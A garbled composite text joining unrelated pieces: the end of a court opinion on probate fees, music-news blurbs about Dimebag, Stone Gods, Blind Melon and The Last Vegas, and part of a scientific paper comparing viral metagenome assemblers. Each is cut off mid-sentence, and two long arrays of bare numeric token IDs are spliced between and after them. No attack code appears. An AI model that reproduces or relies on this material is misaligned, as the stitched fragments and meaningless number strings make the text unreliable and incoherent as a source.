extraordinary fees. Shinn, P. J., and Vallee, J., concurred. NOTES [fn. 1] 1. Section 229 of the Probate Code provides: "If the decedent leaves neither spouse nor issue, and the estate or any portion thereof was separate property of a previously deceased spouse, and came to the decedent from such spouse by gift... such property goes in equal shares to the children of the deceased spouse...." This is an official announcement from Big Vin Records to let you know that in just 13 days, the ONLY official book about DIMEBAG, “He Came To Rock” will be hitting store shelves (Best Buy, Borders, Hot Topic, Amazon, Hastings and many others). If you’re too lazy or can’t make it to one of these outlets you can always order online directly from BigVinRecords.com. The book is a photo gallery assembled from private and personal collections from friends and family as well as submissions from some of the world’s best photographers along with the stories behind the photos. Also included is a revised version of Dimevision on DVD that now includes some never before seen bonus clips made by Dime! To launch the release of the book, Vinnie Paul will be doing a book signing tour at the following cities: 11/18 – Hard Rock Cafe (outside the casino) Las Vegas, NV 11/19 – Best Buy (location and time TBA) Los Angeles, CA 11/21 – Best Buy (location and time TBA) Dallas, TX 11/22 – Best Buy (location and time TBA) NYC, NY Check back for more information on exact locations and times. This book further establishes Dimebag’s legendary status as one of the most bad ass rockers ever! We hope to see you all there! British rockers STONE GODS have just been announced as the main support to BLACK STONE CHERRY on their UK tour next month!! Currently on the road with Aussie headbangers AIRBOURNE, the guys will only have a weeks rest before hitting the road once more….no rest for the seriously rockin’! It has been an incredible year of achievements for the Stone Gods – their debut release, the ‘Burn The Witch’ EP, sold out within hours of going on sale and hit the UK Rock Chart at number 2. The band played triumphant sets at this year’s Download and Isle of Wight Festivals and toured with Velvet Revolver. Their debut album was released in July to critical and commercial success. And to top it all, they received TWO nominations for the 2008 Classic Rock Magazine Awards (Best New Band and Album Of The Year)! In a blog posted on Blind Melon’s myspace page titled Heartbreak Hotel: Room 667 the band announced they had parted ways with vocalist Travis Warren. According to the band, they had to cancel two weeks worth of dates because Warren was having throat problems but instead of following his doctor’s advice and resting his throat Warren continued chain smoking, here is a quote from the band “God dropped a Stradivarius down Travis’s throat, but the reality is that he treats it like a broken pawnshop fiddle. It is very difficult to maintain a rigorous touring schedule while chain smoking. ” The band tried to set Warren up with a specialist to make sure everything was OK with his throat before starting the tour back up. Warren apparently blew off his scheduled appointment, then stopped communicating with the band altogether. Finally after two weeks of trying to make contact with him, Warren contacted the band’s manager and according to the band Warren said the following during a 20 minute conversation “Travis stated that if we couldn’t understand that he needed this time to himself, then he didn’t want to be in a band with us anymore. He complained about being underpaid and overworked (we all make the same thing and we all work as hard as he does). He said that he didn’t want to play the US anymore and that he was under-appreciated. He complained about playing the same songs in the same towns.” Blind Melon tried to keep their tour on schedule by getting Chris Shinn, lead singer for Unified Theory, to fill in for Warren, but it proved to be an impossible task for Shinn to learn the band’s song in a mere two days. According to the band “We are canceling the tour outright and will now start to shovel our way out of this enormous mess. We will have more news about what our plans are concerning the future this week. We’re sorry for the confusion, the bad vibes, the drama and the letdowns. We understand the disappointment and anger that you feel towards us. We are angry and disappointed too. We aim to make it up to you soon…..We’re going on a journey and we’ll bring you back something great…….” As always there are two sides to every story and this is the band’s version. There is no word as yet if Travis Warren will be making a statement sharing his side of the story. You can read the entire blog by checking out Blind Melon’s myspace page. In front of a capacity crowd at the world-famous Whisky A-Go-Go, complete with music industry tastemakers, Guitar Center and MÖTLEY CRÜE selected THE LAST VEGAS from Chicago, Illinois as the winner of Guitar Center On-Stage last night. Over the past eight weeks, bands across the United States submitted their music at makerockhistory.com. From close to 8,000 submissions, 30 semi-finalists were selected, which were then narrowed down to the six top undiscovered bands in the country, with THE LAST VEGAS prevailing as the one band chosen for the ultimate, career altering opportunity — the chance to open on tour for rock icons MÖTLEY CRÜE. In addition to the slot on MÖTLEY CRÜE‘s 2009 “Saints Of Los Angeles” U.S. tour (dates to be announced on Friday, November 14), THE LAST VEGAS also takes home $25,000 cash, $20,000 in exclusive new gear from Gibson Guitars, management from Tenth Street Entertainment, and a recording deal from Eleven Seven Music. In true CRÜE fashion, THE LAST VEGAS also found out that their career is literally going from “0” to “60” overnight and will be opening for the notorious rockers at the Hollywood Palladium in Los Angeles this Friday, November 14. The band will record its first single immediately. It will be available as a stream on AOL on November 24 and as a download on iTunes by November 25. Guitar Center On-Stage is a revolutionary platform for organically scouting and launching upcoming, unsigned artists in the music industry. The six final bands each performed three songs live for their potential tour mates and mentors, MÖTLEY CRÜE. However, it was THE LAST VEGAS that truly stole the night. “The overall talent and energy of THE LAST VEGAS surpassed our expectations,” said MÖTLEY CRÜE‘s Vince Neil. “MÖTLEY CRÜE is excited to pass the torch on to these amazing musicians, just as Ozzy did for us over 25 years ago.” Norman Hajjar, EVP and Chief Marketing Officer for Guitar Center noted, “We are thrilled with the outcome of the debut of the Guitar Center On-Stage initiative. The proof is in the amount of fans and bands that showed their support on the makerockhistory.com site — with over 500,000 unique visitors per month. Not only was this our most ambitious program to date, but also so fulfilling to provide a platform that discovers up and coming bands from across the nation, and now for THE LAST VEGAS. On-Stage marks a major milestone in Guitar Center‘s history for supporting aspiring artists.” “From the label and management perspective,” said Allen Kovac, CEO and Founder of Tenth Street Entertainment and Eleven Seven Music, “We are looking forward to supporting THE LAST VEGAS, and taking the next steps to further launch their career and support them with innovative marketing, radio promotion, public relations and of course preparing them for the tour of their lives — with MÖTLEY CRÜE!” Chad Cherry, lead singer of THE LAST VEGAS, said, “Guitar Center On-Stage has been an amazing journey so far and we are just getting started. It is hard to grasp right now, but we know our lives are going to completely change. Now we are ready to put on a killer live show and are ready to rock at the Hollywood Palladium.” Last night, Eddie Trunk announced that XM41 The Boneyard is going to be removed off of the XM Radio
[ 657, 43007, 1322, 534, 12372, 327, 3388, 7584, 15, 22, 5294, 9523, 15, 23, 5294, 11087, 15, 25, 5294, 11087, 15, 25, 5294, 3285, 15, 24, 6, 285, 10909, 15, 23, 5294, 2975, 15, 1876, 643, 19308, 398, 12372, 689, 8688, 6, 273, 1016, 9128, 275, 253, 3114, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 2019, 14356, 15981, 273, 253, 767, 23524, 8354, 21885, 1246, 387, 2406, 4103, 11921, 16318, 1534, 3910, 275, 253, 3388, 1180, 273, 801, 1241, 2439, 512, 25502, 273, 253, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 21885, 7147, 643, 2758, 273, 253, 3114, 2796, 81, 11, 1318, 1186, 30, 1186, 17, 15, 20826, 481, 2053, 21885, 12322, 271, 3388, 273, 7609, 15, 24, 1186, 3069, 1186, 1093, 15, 22, 285, 898, 15, 21, 1186, 3069, 1186, 938, 15, 21, 801, 1241, 591, 2233, 1186, 22421, 13, 1223, 512, 643, 21885, 12819, 271, 3388, 273, 818, 15, 25, 1186, 3069, 1186, 1093, 15, 26, 801, 1241, 591, 2233, 1186, 22421, 15, 380, 1698, 17829, 23524, 8354, 21885, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 671, 12819, 253, 4585, 3388, 19412, 32358, 591, 2233, 1186, 22421, 387, 20995, 15, 24, 1186, 3069, 1186, 20, 285, 29044, 15, 22, 1186, 3069, 1186, 740, 15, 24, 13, 2975, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 510, 4248, 273, 27159, 2540, 407, 657, 43007, 1322, 285, 353, 3027, 34, 275, 13031, 378, 369, 2406, 685, 275, 13031, 329, 342, 247, 1599, 273, 337, 15, 20, 1186, 3069, 1186, 17, 15, 2511, 285, 608, 15, 20, 1186, 3069, 1186, 24, 15, 24, 523, 17638, 591, 9128, 13, 2975, 15, 330, 7988, 42283, 9128, 611, 39, 1229, 938, 1671, 275, 13031, 378, 313, 2031, 523, 17638, 582, 533, 281, 247, 16277, 4248, 685, 13031, 329, 313, 14231, 523, 17638, 481, 10616, 7283, 41, 1433, 13, 534, 12372, 387, 1878, 10508, 6, 273, 512, 21885, 275, 13031, 329, 13, 671, 12372, 689, 10508, 6, 273, 512, 21885, 275, 13031, 378, 3707, 323, 253, 23524, 8354, 9128, 11248, 64, 28835, 1423, 13, 273, 534, 8026, 15, 22, 6, 369, 12372, 275, 767, 523, 17638, 15, 380, 5020, 273, 25502, 12322, 20825, 15, 26, 1186, 3069, 1186, 17, 285, 32047, 1186, 3069, 1186, 18, 19412, 32358, 591, 2233, 1186, 22421, 323, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 313, 8656, 11921, 23524, 8354, 582, 2975, 13, 8931, 2193, 281, 1110, 4080, 275, 13031, 329, 15, 22484, 14763, 285, 30680, 37599, 14763, 497, 16022, 342, 25921, 15, 19, 285, 854, 1549, 15, 19, 323, 9128, 11248, 64, 28835, 1423, 285, 11248, 64, 28059, 1229, 15, 329, 2074, 3102, 273, 1029, 2193, 2439, 247, 6891, 2491, 369, 671, 2540, 342, 253, 1180, 273, 801, 1241, 13, 342, 7584, 15, 20, 281, 4567, 15, 26, 1246, 275, 512, 25502, 11248, 64, 28059, 1229, 15, 36921, 11248, 64, 28835, 1423, 12819, 1283, 15, 3011, 801, 1241, 2439, 512, 322, 4899, 3229, 25502, 313, 455, 3602, 10, 285, 854, 1549, 15, 19, 2439, 1097, 22484, 14763, 285, 6365, 8526, 14763, 25502, 15, 1876, 643, 19308, 398, 534, 8379, 12372, 436, 9128, 858, 417, 4735, 667, 801, 1241, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 50, 1610, 1712, 4538, 22, 94, 187, 1532, 187, 187, 25438, 19308, 398, 4242, 281, 6635, 523, 17638, 534, 1313, 12420, 26682, 285, 497, 9674, 10432, 432, 2007, 1783, 13, 10775, 329, 3463, 3528, 2796, 76, 4842, 961, 9654, 582, 329, 3463, 3528, 2796, 76, 4842, 961, 15610, 582, 8717, 2088, 3354, 19975, 19, 13, 22484, 14763, 285, 30680, 37599, 14763, 15, 1876, 5780, 19308, 398, 12372, 689, 5091, 6, 273, 253, 48649, 1165, 1610, 9128, 342, 253, 6517, 273, 353, 3027, 34, 313, 25, 15, 22, 10970, 11067, 19308, 398, 12372, 689, 8688, 6, 273, 253, 1165, 1610, 9128, 275, 247, 2014, 32898, 1532, 4350, 34, 3229, 313, 13518, 10, 8688, 15, 3566, 5294, 10616, 7283, 41, 1433, 313, 1525, 15, 23, 9498, 657, 43007, 1322, 313, 1525, 15, 23, 9498, 10734, 30680, 313, 1525, 15, 23, 9498, 330, 7988, 313, 1525, 15, 22, 2673, 285, 15763, 784, 313, 1525, 15, 18, 10, 313, 1470, 15, 575, 60, 20, 1084, 1470, 20, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 760, 10616, 7283, 41, 1433, 17412, 253, 1165, 1610, 9128, 342, 247, 32898, 4503, 275, 2978, 281, 253, 9128, 3139, 15, 322, 4899, 3229, 313, 13518, 10, 285, 330, 7988, 4561, 25502, 12217, 685, 253, 3806, 9128, 407, 11614, 285, 21886, 14395, 15, 657, 43007, 1322, 313, 24, 1508, 582, 15763, 784, 313, 1166, 2082, 10, 285, 10734, 30680, 313, 26, 34305, 10, 1016, 4561, 25502, 3356, 685, 253, 3806, 9128, 15, 322, 4899, 3229, 313, 6986, 582, 322, 4899, 3229, 313, 20199, 894, 582, 5417, 6327, 530, 37, 285, 322, 4899, 3229, 313, 20199, 894, 559, 10182, 10, 1016, 17412, 1165, 1610, 275, 374, 13, 495, 13, 577, 13, 608, 285, 608, 523, 17638, 13, 2975, 15, 10734, 30680, 285, 657, 43007, 1322, 25502, 574, 253, 8840, 1180, 273, 19412, 32358, 285, 801, 1241, 591, 2233, 1186, 22421, 28, 2299, 13, 10734, 30680, 12322, 253, 4585, 2281, 273, 3731, 284, 14575, 447, 313, 9389, 774, 47575, 13, 581, 27697, 481, 1876, 19308, 398, 12819, 247, 5927, 273, 581, 1980, 3731, 26164, 342, 253, 6517, 273, 322, 4899, 3229, 313, 13518, 10, 534, 858, 417, 4735, 667, 15, 380, 2800, 1682, 25502, 273, 253, 1165, 1610, 9128, 285, 253, 9128, 3139, 403, 2753, 1866, 280, 313, 20261, 13949, 327, 253, 8107, 23186, 582, 285, 253, 1265, 285, 990, 1127, 497, 417, 14900, 313, 1470, 15, 575, 60, 20, 1084, 1470, 20, 910, 709, 14, 881, 568, 926, 2536, 1470, 15, 495, 46, 1952, 306, 3453, 273, 253, 1165, 1610, 3806, 9128, 313, 3956, 10, 2112, 342, 273, 253, 2800, 19308, 398, 534, 12372, 8994, 1186, 1525, 6, 273, 253, 9128, 342, 247, 2014, 32898, 15, 14184, 4811, 3345, 273, 12171, 847, 8172, 8336, 534, 513, 417, 3894, 23117, 281, 253, 3806, 9128, 403, 16318, 407, 247, 2806, 19270, 15, 38898, 13503, 273, 25502, 275, 253, 7285, 11259, 281, 253, 3806, 497, 17944, 323, 5304, 5837, 6378, 313, 55, 43007, 1322, 13, 330, 7988, 13, 15763, 784, 10, 187, 187, 5703, 6864, 1783, 313, 2606, 285, 21325, 10, 1712, 4538, 23, 94, 187, 33250, 187, 187, 1909, 14575, 398, 497, 2429, 323, 8542, 414, 407, 10499, 253, 673, 281, 3986, 12240, 285, 4869, 21325, 10393, 3066, 1740, 3863, 5875, 1966, 11479, 2177, 37361, 1254, 1311, 2405, 1184, 285, 2710, 12184, 24484, 15, 733, 1364, 320, 4879, 326, 512, 7796, 8892, 497, 18564, 2620, 17059, 28, 2299, 13, 31238, 253, 1180, 273, 17059, 858, 417, 1818, 253, 1180, 273, 17059, 908, 407, 2176, 5659, 15, 30680, 37599, 14763, 369, 417, 2908, 275, 436, 1783, 347, 352, 4242, 281, 3986, 12240, 846, 3515, 323, 818, 1186, 11015, 15, 330, 7988, 285, 15763, 784, 497, 2684, 327, 247, 15439, 4382, 285, 3103, 10432, 432, 673, 285, 21325, 1783, 15, 39029, 310, 7976, 2220, 253, 1180, 273, 9563, 13, 285, 436, 310, 8127, 4872, 275, 4311, 342, 625, 9563, 4283, 281, 271, 2559, 7796, 673, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 66, 481, 353, 3027, 34, 285, 657, 43007, 1322, 313, 1470, 15, 544, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 66, 5669, 10, 497, 253, 3468, 383, 342, 353, 3027, 34, 3192, 689, 1458, 2069, 3356, 685, 253, 643, 3694, 281, 31237, 495, 15, 22, 3041, 9563, 15, 8717, 2088, 3354, 19975, 19, 574, 253, 30505, 12240, 673, 3560, 407, 5417, 6327, 530, 37, 285, 22484, 14763, 15, 5595, 19308, 398, 497, 5185, 2439, 3530, 313, 45912, 3066, 2228, 8965, 10, 342, 253, 6517, 273, 353, 3027, 34, 285, 10734, 30680, 15, 353, 3027, 34, 13, 657, 43007, 1322, 285, 22484, 14763, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 67, 5669, 10, 574, 253, 4585, 2781, 21325, 10393, 13, 1223, 253, 8840, 369, 10734, 30680, 13, 5417, 6327, 530, 37, 285, 322, 4899, 3229, 313, 13518, 10, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 67, 481, 380, 5020, 273, 19308, 398, 2540, 247, 4872, 4311, 3102, 2074, 281, 326, 273, 20243, 15, 1470, 15, 577, 424, 66, 424, 6865, 13, 4080, 275, 7253, 13, 323, 1016, 7796, 281, 3986, 12240, 8379, 323, 1016, 1239, 8578, 15, 1401, 67, 424, 380, 4869, 21325, 13, 4080, 275, 15255, 13, 908, 323, 1016, 7796, 323, 1016, 1239, 8578, 15, 1401, 68, 424, 9601, 427, 1235, 2978, 285, 1401, 69, 424, 1599, 32898, 2978, 323, 1740, 3530, 323, 1016, 7796, 2439, 253, 1239, 20077, 846, 19690, 523, 17638, 1679, 685, 9098, 14395, 15, 31411, 1957, 253, 1599, 673, 323, 253, 1740, 3530, 1223, 2228, 8965, 403, 253, 2629, 2228, 187, 187, 5703, 6864, 1783, 427, 1235, 285, 20088, 32898, 2978, 1712, 4538, 24, 94, 187, 44136, 187, 187, 2214, 1097, 253, 427, 1235, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 68, 10, 285, 253, 20088, 32898, 2978, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 69, 582, 627, 369, 247, 1781, 2408, 273, 7629, 875, 3530, 323, 253, 5020, 273, 19308, 398, 15, 380, 20088, 32898, 2978, 2692, 247, 1781, 2572, 387, 253, 2457, 12184, 6864, 15, 3512, 8070, 19308, 398, 13, 10775, 322, 4899, 3229, 313, 6986, 582, 322, 4899, 3229, 313, 13518, 582, 10616, 7283, 41, 1433, 285, 329, 3463, 3528, 2796, 76, 4842, 961, 15610, 582, 4197, 3356, 523, 17638, 347, 253, 3425, 6864, 369, 2559, 15, 187, 187, 14146, 1712, 4538, 25, 94, 187, 6428, 187, 187, 10195, 10741, 1313, 6533, 4986, 7796, 14023, 452, 16318, 326, 253, 4327, 273, 19308, 254, 556, 247, 1534, 3486, 327, 15450, 1783, 285, 253, 7200, 273, 253, 25578, 1313, 6533, 485, 1254, 1311, 1010, 1092, 1008, 1311, 1619, 1092, 1008, 1311, 1610, 1092, 1008, 1311, 3439, 1656, 844, 452, 1119, 436, 671, 281, 320, 2032, 323, 9907, 1313, 6533, 6819, 13, 835, 7899, 285, 3426, 7796, 403, 273, 1798, 6349, 1677, 253, 3480, 273, 9907, 6779, 275, 3806, 16634, 15, 17721, 5450, 2175, 3469, 11306, 327, 253, 7796, 3213, 285, 7081, 1142, 3386, 534, 403, 11132, 281, 5547, 7796, 15, 496, 436, 1263, 13, 359, 2429, 253, 3045, 273, 1110, 19308, 398, 908, 281, 3522, 275, 1966, 9907, 1313, 6533, 19177, 2175, 970, 15302, 273, 1929, 285, 7202, 5889, 285, 11962, 10454, 15, 2053, 2908, 247, 1165, 1610, 14, 1033, 33457, 2177, 5450, 13, 13031, 2177, 5450, 7888, 13, 247, 15524, 2177, 5450, 285, 253, 346, 27952, 1966, 11479, 35966, 485, 3, 1254, 1311, 2405, 1656, 5815, 10895, 2530, 4451, 12474, 6941, 323, 5301, 273, 7796, 3045, 327, 247, 1180, 273, 2308, 15, 380, 5019, 273, 13345, 285, 1524, 2177, 37361, 908, 275, 436, 1263, 4483, 323, 253, 5301, 273, 2710, 7794, 273, 7796, 3045, 2439, 247, 2491, 273, 15302, 2581, 685, 7293, 327, 15524, 2177, 37361, 3815, 13, 347, 310, 7744, 4824, 562, 275, 7796, 14023, 1254, 1311, 1012, 1092, 1008, 1311, 1610, 1184, 964, 187, 187, 510, 15524, 10895, 12819, 608, 3547, 9907, 21885, 387, 2710, 4103, 30374, 347, 3863, 407, 657, 36526, 27680, 14, 19447, 437, 29496, 285, 11651, 1254, 1311, 3357, 1656, 43901, 264, 25502, 273, 2060, 21885, 1561, 20180, 7888, 10546, 468, 15450, 1783, 285, 2701, 253, 11815, 534, 476, 320, 8392, 432, 1313, 6533, 4986, 941, 824, 347, 43653, 285, 5164, 10104, 1254, 1311, 883, 1656, 13162, 13, 253, 7155, 9128, 7355, 285, 4248, 273, 27159, 497, 7515, 2439, 1016, 19308, 254, 13, 342, 322, 4899, 3229, 313, 6986, 13, 11419, 285, 2014, 894, 10, 1016, 9591, 973, 15, 657, 43007, 1322, 2684, 1077, 15225, 13, 27930, 760, 1740, 523, 17638, 342, 1029, 3904, 273, 19412, 32358, 285, 3731, 284, 14575, 447, 13, 5747, 1907, 2684, 973, 342, 643, 15302, 285, 1146, 4158, 281, 2953, 7881, 273, 22766, 9907, 7625, 1254 ]	VICUNA which recovered on average 49.5%, 66.6%, 73.8%, 73.8%, 29.7% and 76.6%, respectively. All other assemblers recovered over 99% of each genome in the community (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). Closer inspection of the two ssDNA genomes present at lower relative abundance highlighted significant differences in the average number of indels across all assemblies of the NC_001330 and NC_001422 genomes versus other members of the community (p value = 0.037). These genomes exhibited an average of 41.7 ± 18.5 and 9.4 ± 20.4 indels per 100 kb, while all other genomes featured an average of 7.8 ± 18.9 indels per 100 kb. The low abundant ssDNA genomes NC_001330 and NC_001422 also featured the highest average mismatches per 100 kb at 148.7 ± 3 and 302.5 ± 10.7, respectively (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). The degree of fragmentation observed by VICUNA and MIRA in mock B was lower than in mock A with a mean of 1.3 ± 0.89 and 5.3 ± 7.7 contigs per genome, respectively. CLC fragmented genome KF302035 in mock B (44 contigs), but to a lesser degree than mock A (144 contigs). MEGAHIT, which recovered at least 98% of all genomes in mock A, also recovered over 98% of all genomes in mock B except for the ssDNA genome NC_001422, of which 56.5% was recovered in two contigs. The majority of assemblies exhibited 147.9 ± 0 and 297 ± 1 mismatches per 100 kb for NC_001330 and NC_001422 (high abundance ssDNA), respectively, identical values to those measured in mock A. Velvet and MetaVelvet were exceptions with 184.2 and 860.2 for genome NC_001422 and NC_001330. A similar pattern of high values across a narrow range was also observed with the number of indels, with 49.3 to 32.9 present in all assemblies NC_001330. Genome NC_001422 featured 18.57 indels across all SPAdes assemblies (all parameters) and 860.2 across both Velvet and Metavelvet assemblies. All other assemblers which successfully recovered this genome did not feature any indels (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). Q33 {#Sec5} --- Five assemblers failed to generate contigs which met alignment thresholds and were subsequently excluded from further analysis, namely ABySS (k-mer 63), ABySS (k-mer 127), SOAPdenovo2, Velvet and MetaVelvet. All remaining assemblers recovered over 90% of the spiked Q33 genome with the exception of MIRA (8.5%). Six assemblers recovered over 99% of the Q33 genome in a single contig---SPAdes (meta) 99.74%, MEGAHIT (99.6%), VICUNA (99.6%), Ray Meta (99.6%), CLC (99.5%) and Geneious (99.1) (Fig. [3](#Fig3){ref-type="fig"}). However, only MEGAHIT assembled the Q33 genome with a contig equal in length to the genome itself. SPAdes (meta) and CLC generated assemblies shorter than the reference genome by 86 and 141 bases. VICUNA (723), Geneious (1765) and Ray Meta (9884) each generated assemblies longer than the reference genome. SPAdes (default), SPAdes (single cell), IDBA UD and SPAdes (single cell + careful) each assembled Q33 in 2, 3, 4, 5 and 5 contigs, respectively. Ray Meta and VICUNA assemblies had the lowest number of mismatches and indels per 100 kb; however, Ray Meta exhibited the highest rate of misassemblies (two relocations, one inversion). All assemblers featured a minimum of one local misassembly with the exception of SPAdes (meta) which did not feature any. The six best assemblies of the Q33 genome and the genome itself are syntenic (although occasionally on the reverse strand), and the start and end point were not conserved (Fig. [3](#Fig3){ref-type="fig"}).Fig. 3Mauve output of the Q33 reference genome (top) along with of the six assemblers which recovered \> 99% of the genome with a single contig. Assembly regions outside of locally collinear blocks which do not share homology to the reference genome are highlighted by a black outline. Reverse complement of assemblies in the opposite orientation to the reference were plotted for visualisation purposes (VICUNA, CLC, Geneious) Read depth analysis (time and RAM) {#Sec6} ---------------------------------- Assemblers were compared for practicality by measuring the time to reach completion and maximum RAM usage via four published healthy human gut viromes \[[@CR31]\] and various sequencing depths. It must be noted that all assembly tasks were allocated five threads; however, specifying the number of threads did not change the number of threads used by certain programs. MetaVelvet was not included in this analysis as it failed to reach completion after running for 7 days. CLC and Geneious were performed on a desktop computer and therefore excluded from time and RAM analysis. Runtime is dependent upon the number of reads, and this is largely linear in scale with more reads leading to an increased assembly time (Fig. [4](#Fig4){ref-type="fig"}a). MIRA and VICUNA (Fig. [4](#Fig4){ref-type="fig"}a insert) were the slowest with MIRA taking over 15 times longer than the other software to assemble 3.5 million reads. SOAPdenovo2 had the shortest completion time followed by IDBA UD and Velvet. Most assemblers were consistent across samples (observed via error bars) with the exception of MIRA and Ray Meta. MIRA, VICUNA and Velvet (Fig. [4](#Fig4){ref-type="fig"}b insert) had the highest max RAM usage, while the lowest was Ray Meta, IDBA UD and SPAdes (meta) (Fig. [4](#Fig4){ref-type="fig"}b). The majority of assemblers observed a linear scale pattern similar to that of runtime.Fig. 4a Time, measured in seconds, for each assembly to reach completion successfully for each read subset. b The maximum RAM, measured in MB, used for each assembly for each read subset. c Mean N50 length and d mean contig length for four samples for each assembly across the read subsets after filtering contigs less than 1000 bases. Points represent the mean time for the four samples while error bars are the standard error Read depth analysis N50 and longest contig length {#Sec7} ------------------------------------------------- For both the N50 (Fig. [4](#Fig4){ref-type="fig"}c) and the longest contig length (Fig. [4](#Fig4){ref-type="fig"}d), there was a large amount of variation between samples for the majority of assemblers. The longest contig length showed a large increase at the final sequencing depth. Particular assemblers, namely SPAdes (default), SPAdes (meta), MEGAHIT and ABySS (k-mer 127), produced longer contigs as the sequence depth was increased. Discussion {#Sec8} ========== Many bacterial metagenomic assembly comparisons have highlighted that the choice of assembler has a significant impact on downstream analysis and the accuracy of the reconstructed metagenome \[[@CR15], [@CR28], [@CR33], [@CR54]\]. We have found this also to be true for viral metagenomes, where accurate and complete assembly are of particular importance given the lack of viral representation in reference databases. Virome studies depend heavily on the assembly step and possess many features which are challenging to successful assembly. In this study, we compared the performance of those assemblers used to date in human viral metagenomics studies using datasets of known and unknown composition and varying complexity. These included a Q33-spiked virome, mock virome communities, a simulated virome and the "healthy human gut phageome" \[[@CR31]\]. Each dataset provided unique attributes allowing for comparison of assembly performance on a number of levels. The combination of artificial and real viromes used in this study allows for the comparison of various aspects of assembly performance across a range of datasets rather than depending on simulated viromes alone, as is commonly carried out in assembly comparisons \[[@CR13], [@CR33]\]. The simulated dataset featured 572 viral genomes at various relative abundances as published by Vázquez-Castellanos and colleagues \[[@CR53]\]. Fragmented assemblies of individual genomes within microbial communities hamper downstream analysis and limit the conclusions which can be drawn from metagenomic data such as taxonomic and functional profiles \[[@CR11]\]. Consequently, the percentage genome recovery and degree of fragmentation were assessed across each assembler, with SPAdes (default, meta and single cell) each performing well. VICUNA performed very poorly, recovering only four contigs with high numbers of mismatches and misassemblies, despite having performed well with other datasets and being designed to address challenges of heterogeneous viral populations \[[@
[ 308, 1341, 7011, 432, 353, 2405, 308, 3077, 84, 497, 18606, 342, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 884, 14986, 16, 1686, 10310, 14, 1410, 48, 14, 18, 14, 13472, 21481, 15015, 285, 13637, 342, 884, 34618, 16, 1686, 5274, 14, 19, 13, 884, 9782, 16, 1686, 5274, 14, 1010, 13, 285, 1884, 9782, 16, 1686, 5274, 14, 1797, 323, 1638, 1897, 15, 5094, 37, 5737, 11977, 11541, 14, 6160, 10277, 13, 253, 353, 2405, 308, 3077, 84, 2692, 2762, 6128, 281, 767, 9701, 15015, 342, 253, 6096, 3425, 5062, 15144, 95, 55, 2293, 6541, 5518, 28259, 26756, 3077, 15293, 95, 13743, 20547, 2594, 671, 544, 9227, 1873, 374, 67, 1084, 4032, 19, 910, 709, 14, 881, 568, 6962, 14, 4990, 7129, 5094, 38, 5737, 5128, 432, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 1453, 378, 3458, 1449, 27, 520, 16, 34331, 425, 71, 95, 4529, 14, 2313, 95, 1554, 7438, 10456, 1078, 10277, 313, 1201, 470, 10, 285, 1638, 1897, 846, 10277, 313, 1201, 1638, 10, 403, 2011, 15, 5094, 39, 5737, 15006, 14, 7072, 3275, 407, 353, 2405, 308, 3077, 84, 275, 247, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 17977, 6160, 5133, 1563, 11541, 14, 6160, 10277, 15, 3437, 25, 7433, 308, 1341, 18606, 342, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 253, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 11541, 497, 7091, 347, 1183, 9631, 1341, 15, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 253, 4860, 11541, 497, 908, 347, 7328, 1080, 1341, 15, 380, 7452, 425, 71, 95, 4529, 14, 2313, 95, 285, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14783, 95, 15015, 497, 7091, 347, 5760, 15, 380, 7155, 273, 1554, 7438, 7433, 1341, 275, 3437, 25, 7433, 308, 1341, 310, 2011, 275, 5094, 35, 5737, 285, 5094, 38, 20883, 496, 5094, 34, 26715, 5094, 36, 26715, 285, 5094, 39, 26715, 253, 941, 2011, 1957, 253, 1599, 575, 3069, 575, 3871, 273, 4679, 2684, 275, 34862, 15, 1876, 253, 1543, 403, 8612, 273, 387, 1878, 767, 3907, 4679, 15, 9350, 81, 4713, 17, 15, 1762, 13, 31904, 81, 4713, 17, 15, 2874, 313, 9389, 14, 29551, 47445, 434, 475, 85, 11, 5216, 17981, 293, 1074, 14, 43618, 2031, 14, 926, 21, 4253, 926, 21, 94, 187, 187, 27967, 308, 1341, 811, 23747, 342, 308, 3077, 14, 13472, 34193, 3608, 9446, 4502, 1341, 1712, 84, 19, 14, 22, 94, 187, 2518, 9998, 187, 187, 510, 1543, 273, 34193, 3320, 4918, 3382, 7587, 7568, 326, 253, 5283, 422, 3700, 273, 308, 1341, 811, 23747, 342, 1029, 14, 47854, 34193, 3608, 476, 10808, 12321, 3382, 6128, 275, 2923, 1363, 2479, 2383, 883, 2194, 1008, 2383, 805, 2194, 1008, 2383, 938, 2194, 1008, 2383, 1348, 2194, 1008, 2383, 1229, 2194, 1008, 2383, 1610, 2498, 12090, 4502, 14, 31708, 34193, 3608, 452, 644, 26877, 432, 22835, 308, 3077, 84, 2479, 2383, 883, 2194, 1008, 2383, 1671, 2498, 8079, 13, 690, 273, 841, 